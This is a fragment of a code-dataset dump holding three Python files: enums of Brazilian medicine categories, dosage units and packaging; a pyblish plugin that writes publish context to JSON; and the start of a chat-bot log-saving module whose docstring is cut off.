= 'Relaxantes musculares'\n A14 = \"anabolizantes\"\n repel = 'Repelentes'\n sedat = 'Sedativos'\n sedat_t = 'Sedativos da Tosse'\n soliso = 'Soluções Isomóticas Salinas Simples'\n vasocon = 'Vasoconstritores'\n vasod = 'Vasodilatadores'\n A11 = 'Vitaminas'\n A12A = 'Calcio'\n A12C = 'Outros suplementos minerais'\n\n @classmethod\n def list_names(cls):\n lista = [member.value for member in cls]\n return lista\n\n @classmethod\n def list_names_kivy(cls):\n lista = [{'text': member.value} for member in cls]\n return lista\n\n\nclass UnidadeDosagem(Enum):\n unidade = 'Unidade dosagem:'\n litro = 'L'\n mililitro = 'mL'\n grama = 'g'\n miligrama = 'mg'\n kilograma = 'kg'\n micrograma = 'ug'\n gramaporlitro = 'g/L'\n miligramplitro = 'mg/L'\n gramaporml = 'g/mL'\n miligramapml = 'mg/mL'\n unidadeinter = 'UI'\n unidadeporml = 'UI/mL'\n unidadeporlitro = 'UI/L'\n\n @classmethod\n def list_names(cls):\n lista = [member.value for member in cls]\n return lista\n\n @classmethod\n def list_names_kivy(cls):\n lista = [{'text': member.value} for member in cls]\n return lista\n\n\nclass Embalagem(Enum):\n apresentacao = \"Apresentação:\"\n ampola = \"AMPOLA\"\n aplicador_preenc = \"APLICADOR PREENCHIDO\"\n bisnaga = \"BISNAGA\"\n blister = \"BLÍSTER\"\n bolsa = \"BOLSA\"\n bambona = \"BAMBONA\"\n carpule = \"CARPULE\"\n cilindro = \"CILINDRO\"\n envelope = \"ENVELOPE\"\n estojo = \"ESTOJO\"\n flaconete = \"FLACONETE\"\n frasco = \"FRASCO\"\n frasco_ampola = \"FRASCO-AMPOLA\"\n frasco_aplicador = \"FRASCO-APLICADOR\"\n frasco_transf = \"FRASCO DE TRANSFERENCIA\"\n frasco_got = \"FRASCO GOTEJADOR\"\n frasco_spray = \"FRASCO SPRAY\"\n lamina = \"LÂMINA\"\n pote = \"POTE\"\n seringa = \"SERINGA PREENCHIDA\"\n strip = \"STRIP\"\n tubo = \"TUBO\"\n caixa = \"CAIXA\"\n caixa_termica = \"CAIXA TÉRMICA\"\n cartucho = \"CARTUCHO\"\n aplicador = \"APLICADOR\"\n ativador = \"ATIVADOR\"\n bobeador = \"BOMBEADOR\"\n caneta = \"CANETA APLICADORA\"\n diluente = \"DILUENTE\"\n\n @classmethod\n def list_names(cls):\n lista = [member.value for member in cls]\n return lista\n\n @classmethod\n def list_names_kivy(cls):\n lista = [{'text': member.value} for member in cls]\n return lista\n\n\nif __name__ == '__main__':\n print(Tarja.vermelha.value)\n","sub_path":"models/medicmantosenum.py","file_name":"medicmantosenum.py","file_ext":"py","file_size_in_byte":8197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"196012559","text":"\nimport json\nimport clique\nimport pyblish.api\nfrom pype.api import Anatomy\n\nclass ExtractJSON(pyblish.api.ContextPlugin):\n \"\"\" Extract all instances to a serialized json file. \"\"\"\n\n order = pyblish.api.IntegratorOrder\n label = \"Extract to JSON\"\n\n def process(self, context):\n json_path = context.data['post_json_data_path']\n\n data = dict(self.serialize(context.data()))\n\n # instances_data = []\n # for instance in context:\n #\n # iData = {}\n # for key, value in instance.data.items():\n # if isinstance(value, clique.Collection):\n # value = value.format()\n #\n # try:\n # json.dumps(value)\n # iData[key] = value\n # except KeyError:\n # msg = \"\\\"{0}\\\"\".format(value)\n # msg += \" in instance.data[\\\"{0}\\\"]\".format(key)\n # msg += \" could not be serialized.\"\n # self.log.debug(msg)\n #\n # instances_data.append(iData)\n #\n # data[\"instances\"] = instances_data\n\n with open(json_path, \"w\") as outfile:\n outfile.write(json.dumps(data, indent=4, sort_keys=True))\n\n def serialize(self, data):\n \"\"\"\n Convert all nested content to serialized objects\n\n Args:\n data (dict): nested data\n\n Returns:\n dict: nested data\n \"\"\"\n\n def encoding_obj(value):\n try:\n value = getattr(value, '__dict__', value)\n except Exception:\n pass\n return value\n\n # self.log.info(\"1: {}\".format(data))\n\n if isinstance(data, Anatomy):\n return\n\n if not isinstance(data, dict):\n # self.log.info(\"2: {}\".format(data))\n return data\n\n for key, value in data.items():\n if key in [\"records\", \"instances\", \"results\"]:\n # escape all record objects\n data[key] = None\n continue\n\n if hasattr(value, '__module__'):\n # only deals with module objects\n if \"plugins\" in value.__module__:\n # only dealing with plugin objects\n data[key] = str(value.__module__)\n else:\n if \".lib.\" in value.__module__:\n # will allow only anatomy dict\n data[key] = self.serialize(value)\n else:\n data[key] = None\n continue\n continue\n\n if isinstance(value, dict):\n # loops if dictionary\n data[key] = self.serialize(value)\n\n if isinstance(value, Anatomy):\n continue\n\n if isinstance(value, (list or tuple)):\n # loops if list or tuple\n for i, item in enumerate(value):\n value[i] = self.serialize(item)\n data[key] = value\n\n data[key] = encoding_obj(value)\n\n return data\n","sub_path":"pype/plugins/adobecommunicator/publish/extract_post_json.py","file_name":"extract_post_json.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"40813438","text":"from ..bot.modulehandler import Module\nfrom ..utils import utils\nimport logging\nfrom configparser import ConfigParser\nimport json\nfrom datetime import datetime, timedelta, date\nimport time\nfrom os.path import realpath, dirname, join, isfile\nfrom os import listdir\nimport shlex\n\n\"\"\"\nSaves logs in TSR.\n Automatically saves all messages and RP ads in TSR into _messages. Every time a message is posted there, it will be \n saved into a file named with the date.\n .tsr is the keyword in the chat for the bot. \n .tsr show \n Shows logs since the given time. Time can be given in formats\n dd.mm.yyyy hh:mm\n dd.mm hh:mm\n dd.mm\n hh:mm\n ddd\n hhh\n mmm\n Time can also be formated as follows\n from